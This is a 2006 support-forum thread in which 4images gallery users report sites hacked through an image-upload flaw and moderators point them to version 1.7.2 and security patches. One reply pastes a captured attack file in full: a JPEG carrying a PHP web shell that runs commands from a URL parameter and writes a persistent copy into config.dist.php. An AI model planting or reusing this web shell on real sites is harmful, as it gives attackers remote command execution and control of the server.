Author Topic: site got hacked.  (Read 14502 times)

0 Members and 1 Guest are viewing this topic.

Offline BartAfterDark

  • Hero Member
  • *****
  • Posts: 520
    • View Profile
site got hacked.
« on: March 28, 2006, 10:43:58 PM »
My friends site got hacked. Everything is lost due to this bug
Code: [Select]
this exploit uploads a .jpg file with maliciuos EXIF metadata comptempt,
   it will be evaluated as php code:

We tried to save his pictures but it was to late :( We removed all files exept the data folder and installed 1.7.2. But someone 40 min ago a new file got into the data folder. A PHP script that has somehow to do with mysql.

I told him to pull the site down before he loses the user database :cry:

Offline V@no

  • If you don't tell me what to do, I won't tell you where you should go :)
  • Global Moderator
  • 4images Guru
  • *****
  • Posts: 17.849
  • mmm PHP...
    • View Profile
    • 4images MODs Demo
Re: site got hacked.
« Reply #1 on: March 29, 2006, 01:34:55 AM »
what file? in v1.7.2 the exploit with malicous EXIF metadata was fixed, these "images" still can be uploaded to the site, because they are images, but they are not a threat through that exploit.
Your first three "must do" before you ask a question:
Please do not PM me asking for help unless you've been specifically asked to do so. Such PMs will be deleted without answer. (forum rule #6)
Extension for Firefox/Thunderbird: Master Password+    Back/Forward History Tweaks (restartless)    Cookies Manager+    Fit Images (restartless for Thunderbird)

Offline RuthE

  • Newbie
  • *
  • Posts: 23
    • View Profile
    • Discover Kate Gallery
Re: site got hacked.
« Reply #2 on: March 30, 2006, 12:40:08 AM »
I've been hacked twice now. Almost exactly one month apart. Both were scripts uploaded to the gallery with .jpg extensions that pulled the ftp password for the site. After which they went in and deleted essential files and put up their hack page. Is there defense against this aside from not allowing people to upload images?

Offline Fastian

  • Full Member
  • ***
  • Posts: 199
    • View Profile
Re: site got hacked.
« Reply #3 on: March 30, 2006, 01:12:35 AM »
Sounds scary to me
Can this effect on v1.7.1 ??
I m not a  Programmer.
          But
I m a Good Learner.

Offline RuthE

  • Newbie
  • *
  • Posts: 23
    • View Profile
    • Discover Kate Gallery
Re: site got hacked.
« Reply #4 on: March 30, 2006, 01:21:26 AM »
I am running 1.7.1

Offline V@no

  • If you don't tell me what to do, I won't tell you where you should go :)
  • Global Moderator
  • 4images Guru
  • *****
  • Posts: 17.849
  • mmm PHP...
    • View Profile
    • 4images MODs Demo
Re: site got hacked.
« Reply #5 on: March 30, 2006, 01:47:32 AM »
Always pay attention to any bug fixes and always keep your software up-to-date - that way you will have less chances to get hacked again ;)
Your first three "must do" before you ask a question:
Please do not PM me asking for help unless you've been specifically asked to do so. Such PMs will be deleted without answer. (forum rule #6)
Extension for Firefox/Thunderbird: Master Password+    Back/Forward History Tweaks (restartless)    Cookies Manager+    Fit Images (restartless for Thunderbird)

Offline RuthE

  • Newbie
  • *
  • Posts: 23
    • View Profile
    • Discover Kate Gallery
Re: site got hacked.
« Reply #6 on: March 30, 2006, 05:27:57 PM »
Which updates or security fix prevents someone from uploading a jpg that is a script?

Offline BartAfterDark

  • Hero Member
  • *****
  • Posts: 520
    • View Profile
Re: site got hacked.
« Reply #7 on: March 30, 2006, 08:08:13 PM »
well someone is still trying to upload some images that has php code in them
kkt.jpg
Code: [Select]
ÿØÿþ?<?php
ob_clean
();
echo
"Hi Master!";
ini_set("max_execution_time",0);
passthru($_GET["cmd"]);
$in="<?php ob_clean();echo\"Hi Master!\";ini_set(\"max_execution_time\",0);passthru(\$_GET[\"cmd\"]);die;?>
";
$sun=fopen("config.dist.php","w");
fputs($sun,$in);
fclose($sun);
chmod("config.dist.php",777);
die;
?>ÿà JFIF  H H  ÿÛ C ÿÛ CÿÀ    ÿÄ                  ÿÄ                 ÿÄ                ÿÄ                 ÿÚ   ? ?ÁÇßÿÙ

I don't hope this can do any damage now after I installed 1.7.2 on his server (with mods)

Offline IcEcReaM

  • Hero Member
  • *****
  • Posts: 714
    • View Profile
    • My little Testboard
Re: site got hacked.
« Reply #8 on: March 30, 2006, 08:27:50 PM »
then nothing should happen,
cause there is no way to include this malicious script
Coding is a everlasting competition between programmers who tries to write larger, better and idiot-safe programs and the universe producing larger and stupider idiots...
...so far the universe won
bump

Offline BartAfterDark

  • Hero Member
  • *****
  • Posts: 520
    • View Profile
Re: site got hacked.
« Reply #9 on: March 30, 2006, 09:34:24 PM »
I hope will install all the patches if they use 1.7.1. I don't want this to happen to anyone.
And the most stupid thing is, that it is soo easy to find a "how to" on this subject, cause some stupid french public site thinks it's fun to post exploits to the public

Offline Fastian

  • Full Member
  • ***
  • Posts: 199
    • View Profile
Re: site got hacked.
« Reply #10 on: March 30, 2006, 11:45:28 PM »
I think I have all bug fixes installed on my v 1.7.1

But will someone direct me if there is a particular fix for this problem?
(Just to be on safe side)
« Last Edit: March 31, 2006, 06:02:12 AM by Fastian »
I m not a  Programmer.
          But
I m a Good Learner.

Offline kai

  • Administrator
  • Addicted member
  • *****
  • Posts: 1.423
    • View Profile
    • 4images - Image Gallery Management System
Re: site got hacked.
« Reply #11 on: March 31, 2006, 12:59:51 AM »
Which updates or security fix prevents someone from uploading a jpg that is a script?

Apply the security fixes listed here:
http://www.4homepages.de/forum/index.php?board=17.0

or update to the current version 4images 1.7.2
Your first three "must do" before you ask a question:
1. Forum rules
2. FAQ
3. Search

Offline V@no

  • If you don't tell me what to do, I won't tell you where you should go :)
  • Global Moderator
  • 4images Guru
  • *****
  • Posts: 17.849
  • mmm PHP...
    • View Profile
    • 4images MODs Demo
Re: site got hacked.
« Reply #12 on: March 31, 2006, 01:47:12 AM »
Which updates or security fix prevents someone from uploading a jpg that is a script?
Bug fixes are ment to fix the software, you should always apply ALL the bug fixes or dont complain if something goes wrong ;)

And the most stupid thing is, that it is soo easy to find a "how to" on this subject, cause some stupid french public site thinks it's fun to post exploits to the public
Not only french sites...
Your first three "must do" before you ask a question:
Please do not PM me asking for help unless you've been specifically asked to do so. Such PMs will be deleted without answer. (forum rule #6)
Extension for Firefox/Thunderbird: Master Password+    Back/Forward History Tweaks (restartless)    Cookies Manager+    Fit Images (restartless for Thunderbird)

Offline RuthE

  • Newbie
  • *
  • Posts: 23
    • View Profile
    • Discover Kate Gallery
Re: site got hacked.
« Reply #13 on: April 01, 2006, 04:04:16 AM »
So, if you upgrade to 1.7.2 you don't have to do the three bug fixes? Am I understanding this correctly?

Offline V@no

  • If you don't tell me what to do, I won't tell you where you should go :)
  • Global Moderator
  • 4images Guru
  • *****
  • Posts: 17.849
  • mmm PHP...
    • View Profile
    • 4images MODs Demo
Re: site got hacked.
« Reply #14 on: April 01, 2006, 06:32:27 AM »
correct
Your first three "must do" before you ask a question:
Please do not PM me asking for help unless you've been specifically asked to do so. Such PMs will be deleted without answer. (forum rule #6)
Extension for Firefox/Thunderbird: Master Password+    Back/Forward History Tweaks (restartless)    Cookies Manager+    Fit Images (restartless for Thunderbird)